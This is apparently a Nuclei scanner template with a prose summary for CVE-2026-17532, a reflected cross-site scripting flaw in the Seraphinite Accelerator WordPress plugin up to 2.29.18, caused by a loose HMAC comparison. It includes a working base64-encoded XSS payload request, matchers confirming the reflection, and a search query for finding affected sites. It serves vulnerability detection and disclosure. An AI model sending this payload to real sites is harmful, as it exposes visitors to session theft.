The Seraphinite Accelerator plugin for WordPress up to and including 2.29.18 was vulnerable to reflected cross-site scripting through the seraph_accel_prep parameter. CacheExtractPreparePageParams() compared the expected HMAC against the JSON-decoded nonce with PHP's loose != operator, so a JSON boolean true satisfied the comparison and bypassed the signature check, and _CbContentFinishSkip() then concatenated the attacker-controlled selfTest field straight into the response body, letting unauthenticated attackers inject arbitrary scripts.
PoC
id: CVE-2026-17532
info:
name: Seraphinite Accelerator <= 2.29.18 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
The Seraphinite Accelerator plugin for WordPress up to and including 2.29.18 was vulnerable to reflected cross-site scripting through the seraph_accel_prep parameter. CacheExtractPreparePageParams() compared the expected HMAC against the JSON-decoded nonce with PHP's loose != operator, so a JSON boolean true satisfied the comparison and bypassed the signature check, and _CbContentFinishSkip() then concatenated the attacker-controlled selfTest field straight into the response body, letting unauthenticated attackers inject arbitrary scripts.
impact: |
An unauthenticated attacker could run arbitrary JavaScript in a victim's browser by luring them to a crafted link, leading to session theft or actions performed as the victim.
remediation: |
Update Seraphinite Accelerator to version 2.29.19 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/seraphinite-accelerator/seraphinite-accelerator-22918-reflected-cross-site-scripting
- https://plugins.trac.wordpress.org/browser/seraphinite-accelerator/trunk/common.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-17532
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-17532
epss-score: 0.00817
epss-percentile: 0.55347
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: seraphinite
product: seraphinite-accelerator
framework: wordpress
fofa-query: body="seraphinite-accelerator"
tags: cve,cve2026,wordpress,wp,wp-plugin,seraphinite,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "seraphinite-accelerator")'
condition: and
internal: true
- raw:
- |
GET /?seraph_accel_prep=eyJub25jZSI6dHJ1ZSwic2VsZlRlc3QiOiI8aW1nIHNyYz14IG9uZXJyb3I9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4ifQ%3D%3D HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "selfTest-<img src=x onerror=alert(document.domain)>"
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100c92ca1e7e43da0c314930710af2d47274f4d2feab7f11bdafe74b8affd5de15202210083ff58f953bf6554898cc26df701fb24ac58cb52758dadec16316e47a9d37c9a:922c64590222798bb761d5b6d8e72950
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